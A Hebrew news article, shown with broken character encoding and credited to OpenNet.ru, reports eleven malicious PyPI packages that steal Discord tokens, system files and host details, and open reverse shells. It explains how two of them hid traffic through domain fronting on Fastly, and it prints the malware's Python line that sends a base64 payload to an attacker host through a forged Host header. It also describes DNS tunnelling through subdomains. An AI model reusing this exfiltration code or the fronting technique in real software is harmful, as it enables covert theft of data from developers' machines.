ืกืคืจื™ื•ืช ื–ื“ื•ื ื™ื•ืช ืฉื–ื•ื”ื• ื‘ืงื˜ืœื•ื’ PyPI ื”ืžืฉืชืžืฉื•ืช ื‘- PyPI CDN ื›ื“ื™ ืœื”ืกืชื™ืจ ืืช ืขืจื•ืฅ ื”ืชืงืฉื•ืจืช

ื‘ืกืคืจื™ื™ืช PyPI (Python Package Index) ื–ื•ื”ื• 11 ื—ื‘ื™ืœื•ืช ื”ืžื›ื™ืœื•ืช ืงื•ื“ ื–ื“ื•ื ื™. ืœืคื ื™ ืฉื–ื•ื”ื• ื‘ืขื™ื•ืช, ื”ื—ื‘ื™ืœื•ืช ื”ื•ืจื“ื• ื›-38 ืืœืฃ ืคืขืžื™ื ื‘ืกืš ื”ื›ืœ. ื”ื—ื‘ื™ืœื•ืช ื”ื–ื“ื•ื ื™ื•ืช ืฉื–ื•ื”ื• ื‘ื•ืœื˜ื•ืช ื‘ืฉื™ืžื•ืฉ ืฉืœื”ืŸ ื‘ืฉื™ื˜ื•ืช ืžืชื•ื—ื›ืžื•ืช ืœื”ืกืชืจืช ืขืจื•ืฆื™ ืชืงืฉื•ืจืช ืขื ืฉืจืชื™ ื”ืชื•ืงืคื™ื.

  • importantpackage (6305 ื”ื•ืจื“ื•ืช), important-package (12897) - ื™ืฆืจ ื—ื™ื‘ื•ืจ ืœืฉืจืช ื—ื™ืฆื•ื ื™ ื‘ืžืกื•ื•ื” ืฉืœ ื—ื™ื‘ื•ืจ ืœ-pypi.python.org ื›ื“ื™ ืœืกืคืง ื’ื™ืฉื” ืฉืœ ืžืขื˜ืคืช ืœืžืขืจื›ืช (ืžืขื˜ืคืช ื”ืคื•ื›ื”) ื•ื”ืฉืชืžืฉ ื‘ืชื•ื›ื ืช trevorc2 ื›ื“ื™ ืœื”ืกืชื™ืจ ืืช ืขืจื•ืฅ ืชืงืฉื•ืจืช.
  • pptest (10001), ipboards (946) - ื”ืฉืชืžืฉื• ื‘-DNS ื›ืขืจื•ืฅ ืชืงืฉื•ืจืช ืœื”ืขื‘ืจืช ืžื™ื“ืข ืขืœ ื”ืžืขืจื›ืช (ื‘ื—ื‘ื™ืœื” ื”ืจืืฉื•ื ื” ืฉื ื”ืžืืจื—, ืกืคืจื™ื™ืช ื”ืขื‘ื•ื“ื”, IP ืคื ื™ืžื™ ื•ื—ื™ืฆื•ื ื™, ื‘ืฉื ื™ - ืฉื ื”ืžืฉืชืžืฉ ื•ืฉื ื”ืžืืจื—) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - ื–ื™ื”ื• ืืช ืืกื™ืžื•ืŸ ื”ืฉื™ืจื•ืช ืฉืœ Discord ื‘ืžืขืจื›ืช ื•ืฉืœื—ื• ืื•ืชื• ืœืžืืจื— ื—ื™ืฆื•ื ื™.
  • trrfab (287) - ืฉืœื— ืืช ื”ืžื–ื”ื”, ืฉื ื”ืžืืจื— ื•ื”ืชื•ื›ืŸ ืฉืœ /etc/passwd, /etc/hosts, /home ืœืžืืจื— ื”ื—ื™ืฆื•ื ื™.
  • 10Cent10 (490) - ื™ืฆืจ ื—ื™ื‘ื•ืจ ืžืขื˜ืคืช ื”ืคื•ืš ืขื ืžืืจื— ื—ื™ืฆื•ื ื™.
  • yandex-yt (4183) - ื”ืฆื™ื’ ื”ื•ื“ืขื” ืขืœ ื›ืš ืฉื”ืžืขืจื›ืช ื ืคื’ืขืช ื•ื”ื•ืคื ืชื” ืœื“ืฃ ืขื ืžื™ื“ืข ื ื•ืกืฃ ืขืœ ืคืขื•ืœื•ืช ื ื•ืกืคื•ืช ืฉื”ื•ื ืคืงื• ื“ืจืš nda.ya.ru (api.ya.cc).

ืจืื•ื™ ืœืฆื™ื™ืŸ ื‘ืžื™ื•ื—ื“ ืืช ืฉื™ื˜ืช ื”ื’ื™ืฉื” ืœืžืืจื—ื™ื ื—ื™ืฆื•ื ื™ื™ื ื”ืžืฉืžืฉื™ื ื‘ื—ื‘ื™ืœื•ืช importantpackage ื•- important-package, ืฉื”ืฉืชืžืฉื• ื‘ืจืฉืช ืžืฉืœื•ื— ื”ืชื•ื›ืŸ Fastly ื”ืžืฉืžืฉืช ื‘ืกืคืจื™ื™ืช PyPI ื›ื“ื™ ืœื”ืกืชื™ืจ ืืช ืคืขื™ืœื•ืชื. ืœืžืขืฉื”, ื‘ืงืฉื•ืช ื ืฉืœื—ื• ืœืฉืจืช pypi.python.org (ื›ื•ืœืœ ืฆื™ื•ืŸ ื”ืฉื python.org ื‘-SNI ื‘ืชื•ืš ื‘ืงืฉืช ื”-HTTPS), ืืš ื›ื•ืชืจืช ื”-HTTP "Host" ื›ืœืœื” ืืช ืฉื ื”ืฉืจืช ืฉื ืฉืœื˜ ืขืœ ื™ื“ื™ ื”ืชื•ืงืคื™ื (ืกืขื™ืฃ. forward.io. global.prod.fastly.net). ืจืฉืช ืืกืคืงืช ื”ืชื•ื›ืŸ ืฉืœื—ื” ื‘ืงืฉื” ื“ื•ืžื” ืœืฉืจืช ื”ืชื•ืงืฃ, ืชื•ืš ืฉื™ืžื•ืฉ ื‘ืคืจืžื˜ืจื™ื ืฉืœ ื—ื™ื‘ื•ืจ TLS ืœ-pypi.python.org ื‘ืขืช ื”ืขื‘ืจืช ื ืชื•ื ื™ื.

ืชืฉืชื™ืช PyPI ืžื•ืคืขืœืช ืขืœ ื™ื“ื™ ืจืฉืช ืืกืคืงืช ื”ืชื•ื›ืŸ Fastly, ื”ืžืฉืชืžืฉืช ื‘ืคืจื•ืงืกื™ ื”ืฉืงื•ืฃ ืฉืœ Varnish ื›ื“ื™ ืœืฉืžื•ืจ ื‘ืงืฉื•ืช ื˜ื™ืคื•ืกื™ื•ืช ื‘ืžื˜ืžื•ืŸ, ื•ืžืฉืชืžืฉืช ื’ื ื‘ืขื™ื‘ื•ื“ ืื™ืฉื•ืจื™ TLS ื‘ืจืžืช CDN, ื•ืœื ื‘ืฉืจืชื™ ื”ืงืฆื”, ื›ื“ื™ ืœื”ืขื‘ื™ืจ ื‘ืงืฉื•ืช HTTPS ื“ืจืš ืคืจื•ืงืกื™. ืœืœื ืงืฉืจ ืœืžืืจื— ื”ื™ืขื“, ื‘ืงืฉื•ืช ื ืฉืœื—ื•ืช ืœ-proxy, ืฉืงื•ื‘ืข ืืช ื”ืžืืจื— ื”ืจืฆื•ื™ ื‘ืืžืฆืขื•ืช ื›ื•ืชืจืช ื”-HTTP "Host", ื•ืฉืžื•ืช ื”ื“ื•ืžื™ื™ืŸ ื”ืžืืจื— ืงืฉื•ืจื™ื ืœื›ืชื•ื‘ื•ืช ื”-IP ืฉืœ ืžืื–ืŸ ื”ืขื•ืžืก ืฉืœ CDN ื”ืื•ืคื™ื™ื ื™ื•ืช ืœื›ืœ ืœืงื•ื—ื•ืช Fastly.

ืฉืจืช ื”ืชื•ืงืคื™ื ื ืจืฉื ื’ื ื‘-CDN Fastly, ื”ืžืกืคืง ืชื•ื›ื ื™ื•ืช ื—ื™ื ื ืœื›ื•ืœื ื•ืืฃ ืžืืคืฉืจ ืจื™ืฉื•ื ืื ื•ื ื™ืžื™. ืจืื•ื™ ืœืฆื™ื™ืŸ ืฉื›ื“ื™ ืœืฉืœื•ื— ื‘ืงืฉื•ืช ืœืงื•ืจื‘ืŸ ื‘ืขืช โ€‹โ€‹ื™ืฆื™ืจืช "ืงืœื™ืคื” ื”ืคื•ื›ื”", ื ืขืฉื” ืฉื™ืžื•ืฉ ื’ื ื‘ืชื›ื ื™ืช, ืืš ื™ื–ื•ืžื” ืžื”ืฆื“ ืฉืœ ื”ืžืืจื— ืฉืœ ื”ืชื•ืงืฃ. ืžื‘ื—ื•ืฅ, ื”ืื™ื ื˜ืจืืงืฆื™ื” ืขื ืฉืจืช ื”ืชื•ืงืคื™ื ื ืจืื™ืช ื›ืžื• ื”ืคืขืœื” ืœื’ื™ื˜ื™ืžื™ืช ืขื ืกืคืจื™ื™ืช PyPI, ื”ืžื•ืฆืคื ืช ื‘ืืžืฆืขื•ืช ืื™ืฉื•ืจ PyPI TLS. ื˜ื›ื ื™ืงื” ื“ื•ืžื”, ื”ื™ื“ื•ืขื” ื‘ืฉื "ื—ื–ื™ืช ื“ื•ืžื™ื™ืŸ", ืฉื™ืžืฉื” ื‘ืขื‘ืจ ื‘ืื•ืคืŸ ืคืขื™ืœ ื›ื“ื™ ืœื”ืกืชื™ืจ ืืช ืฉื ื”ืžืืจื— ื‘ืขืช ืขืงื™ืคืช ื—ืกื™ืžื”, ืชื•ืš ืฉื™ืžื•ืฉ ื‘ื™ื›ื•ืœืช ื”ืžืกื•ืคืงืช ื‘ื—ืœืง ืžืจืฉืชื•ืช CDN ืœื’ืฉืช ืœ-HTTPS ืขืœ ื™ื“ื™ ืฆื™ื•ืŸ ืžืืจื— ืคื™ืงื˜ื™ื‘ื™ ื‘-SNI ื•ืœืžืขืฉื” ืฉื™ื“ื•ืจ ื”ืฉื ืฉืœ ื”-SNI ื”ืžืืจื— ื”ืžื‘ื•ืงืฉ ื‘ื›ื•ืชืจืช ืžืืจื— HTTP ื‘ืชื•ืš ื”ืคืขืœืช TLS.

ืกืคืจื™ื•ืช ื–ื“ื•ื ื™ื•ืช ืฉื–ื•ื”ื• ื‘ืงื˜ืœื•ื’ PyPI ื”ืžืฉืชืžืฉื•ืช ื‘- PyPI CDN ื›ื“ื™ ืœื”ืกืชื™ืจ ืืช ืขืจื•ืฅ ื”ืชืงืฉื•ืจืช

ื›ื“ื™ ืœื”ืกืชื™ืจ ืคืขื™ืœื•ืช ื–ื“ื•ื ื™ืช, ื ืขืฉื” ืฉื™ืžื•ืฉ ื ื•ืกืฃ ื‘ื—ื‘ื™ืœืช TrevorC2 ื›ื“ื™ ืœื™ืฆื•ืจ ืื™ื ื˜ืจืืงืฆื™ื” ืขื ื”ืฉืจืช ื‘ื“ื•ืžื” ืœื ื™ื•ื•ื˜ ืจื’ื™ืœ ื‘ืื™ื ื˜ืจื ื˜, ืœื“ื•ื’ืžื”, ื‘ืงืฉื•ืช ื–ื“ื•ื ื™ื•ืช ื ืฉืœื—ื• ื‘ืžืกื•ื•ื” ืฉืœ ื”ื•ืจื“ืช ื”ืชืžื•ื ื” "https://pypi.python.org/images/ guid=" ืขื ืงื™ื“ื•ื“ ืžื™ื“ืข ื‘ืคืจืžื˜ืจ guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

ื”ื—ื‘ื™ืœื•ืช pptest ื•-ipboards ื”ืฉืชืžืฉื• ื‘ื’ื™ืฉื” ืฉื•ื ื” ืœื”ืกืชืจืช ืคืขื™ืœื•ืช ืจืฉืช, ื‘ื”ืชื‘ืกืก ืขืœ ืงื™ื“ื•ื“ ืžื™ื“ืข ืฉื™ืžื•ืฉื™ ื‘ืฉืื™ืœืชื•ืช ืœืฉืจืช ื”-DNS. ื”ืชื•ื›ื ื” ื”ื–ื“ื•ื ื™ืช ืžืฉื“ืจืช ืžื™ื“ืข ืขืœ ื™ื“ื™ ื‘ื™ืฆื•ืข ื‘ืงืฉื•ืช DNS ื›ืžื• "nu4timjagq4fimbuhe.example.com", ืฉื‘ื”ืŸ ื”ื ืชื•ื ื™ื ื”ืžื•ืขื‘ืจื™ื ืœืฉืจืช ื”ื‘ืงืจื” ืžืงื•ื“ื“ื™ื ื‘ืืžืฆืขื•ืช ืคื•ืจืžื˜ base64 ื‘ืฉื ืชืช-ื”ื“ื•ืžื™ื™ืŸ. ื”ืชื•ืงืฃ ืžืงื‘ืœ ืืช ื”ื”ื•ื“ืขื•ืช ื”ืœืœื• ืขืœ ื™ื“ื™ ืฉืœื™ื˜ื” ื‘ืฉืจืช ื”-DNS ืขื‘ื•ืจ ื”ื“ื•ืžื™ื™ืŸ example.com.

ืžืงื•ืจ: OpenNet.ru

ื”ื•ืกืคืช ืชื’ื•ื‘ื”